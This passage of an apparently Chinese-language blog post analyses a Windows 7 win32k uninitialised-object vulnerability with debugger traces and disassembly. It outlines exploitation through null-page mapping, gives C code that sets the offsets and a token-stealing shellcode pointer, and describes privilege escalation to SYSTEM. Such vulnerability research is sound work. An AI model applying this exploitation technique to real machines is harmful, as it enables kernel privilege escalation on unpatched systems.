              (struct _POINTL *)(v42 + 1592),
              v10);                             // 进这里

传入的第一个参数是SURFOBJ对象,来看一下这个对象的内容

kd> p
win32k!NtGdiFillRgn+0x334:
96adbb98 e8fafaffff      call    win32k!EngPaint (96adb697)
kd> dd esp
903fca5c  ffb58778 903fca7c 903fcaf8 ffaabd60

第一个参数SURFOBJ的值是ffb58778,继续往后跟踪

kd> p
win32k!EngPaint+0x45:
96adb6dc ff7508          push    dword ptr [ebp+8]
kd> p
win32k!EngPaint+0x48:
96adb6df 8bc8            mov     ecx,eax
kd> p
win32k!EngPaint+0x4a:
96adb6e1 e868e4f8ff      call    win32k!SURFACE::pfnBitBlt (96a69b4e)
kd> dd 903fcaf8
903fcaf8  ffffffff 00000000 00000000 00edfc13
903fcb08  00edfc13 00000000 00000006 00000004
903fcb18  00000000 00ffffff ffaab7c4 00000000
903fcb28  00000000 ffb58768 ffbff968 ffbffe68
903fcb38  ffbbd540 00000006 fe57bc38 00000014
903fcb48  000000d3 00000001 ffffffff 83f77f01
903fcb58  83ec0892 903fcb7c 903fcbb0 00000000
903fcb68  903fcc10 83e17924 00000000 00000000
kd> dd ffb58768
ffb58768  068501b7 00000001 80000000 8754b030
ffb58778  00000000 068501b7 00000000 00000000
ffb58788  00000008 00000008 00000020 ffb588bc

发现在EBRUSHOBJ+34h位置存放的值,再+10h存放的正是之前的SURFOBJ,也就是说,之前ffb58768+1ch位置存放的就是SURFOBJ+0xc的值,而这个值来看一下SURFOBJ的结构

typedef struct _SURFOBJ {
  DHSURF dhsurf;
  HSURF  hsurf;
  DHPDEV dhpdev;
  HDEV   hdev;
  SIZEL  sizlBitmap;
  ULONG  cjBits;
  PVOID  pvBits;
  PVOID  pvScan0;
  LONG   lDelta;
  ULONG  iUniq;
  ULONG  iBitmapFormat;
  USHORT iType;
  USHORT fjBitmap;
} SURFOBJ;

这个位置存放的是hdev对象,正是因为未对这个对象进行初始化直接引用,导致了漏洞的发生。

漏洞利用时,在win32k!bGetRealizedBrush找到一处调用

.text:BF840810 loc_BF840810:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+2E0j
.text:BF840810                 mov     ecx, [ebp+P]
.text:BF840813                 mov     ecx, [ecx+2Ch]
.text:BF840816                 mov     edx, [ebx+0Ch]
.text:BF840819                 push    ecx
.text:BF84081A                 push    edx
.text:BF84081B                 push    [ebp+var_14]
.text:BF84081E                 push    eax
.text:BF84081F                 call    edi             ;

利用call edi可以跳转到我们要的位置,edi来自于a2,也就是未初始化对象赋值,因此我们可以控制这个值,接下来看看利用过程。

利用这个未初始化的对象,可以直接利用零页内存绕过限制,有几处跳转,第一处

      v20 = a2;//v20赋值
      if ( *((_DWORD *)a2 + 284) & 0x200000 && (char *)a3 != (char *)EngRealizeBrush )
      {
        v21 = *((_DWORD *)v5 + 13);
        if ( v21 )
          v22 = (struct _SURFOBJ *)(v21 + 16);
        else
          v22 = 0;
        if ( a3(v5, v22, 0, 0, 0, *((_DWORD *)v5 + 3) | 0x80000000) )// come to this?
        {
          v19 = 1;
          goto LABEL_24;
        }
        v20 = a2;//v20赋值
      }
      v23 = *((_WORD *)v20 + 712);
      if ( !v23 )//这里有一个if语句跳转
        goto LABEL_23;

这时候v20的值是a2,而a2的值来自于  a2 = *(struct EBRUSHOBJ **)(v6 + 28);,之前已经分析过,由于未初始化,这个值为0

那么第一处在v23的if语句跳转中,需要置0+0x590位置的值为不为0的数。

第二处在

      v24 = (struct EBRUSHOBJ *)((char *)v20 + 1426);
      if ( !*(_WORD *)v24 )
        goto LABEL_23;

这个地方又要一个if语句跳转,这个地方需要置0x592位置的值为不为0的数。

最后一处,也就是call edi之前的位置

.text:BF8407F0                 mov     edi, [eax+748h]//edi赋值为跳板值
.text:BF8407F6                 setz    cl
.text:BF8407F9                 inc     ecx
.text:BF8407FA                 mov     [ebp+var_14], ecx
.text:BF8407FD ; 134:       if ( v26 )
.text:BF8407FD                 cmp     edi, esi//这里仍旧是和0比较
.text:BF8407FF                 jz      short loc_BF840823

这个地方需要edi和esi做比较,edi不为0,这里赋值为替换token的shellcode的值就是不为0的值了,直接可以跳转。

因此,需要在源码中构造这三个位置的值。

void* bypass_one = (void *)0x590;
*(LPBYTE)bypass_one = 0x1;
void* bypass_two = (void *)0x592;
*(LPBYTE)bypass_two = 0x1;
void* jump_addr = (void *)0x748;
*(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;

最后替换system token即可完成利用

http://p0.qhimg.com/t01feb2130c2d7bd2d7.png

weinxin
版权声明
本站原创文章转载请注明文章出处及链接,谢谢合作!
评论:0   参与:  0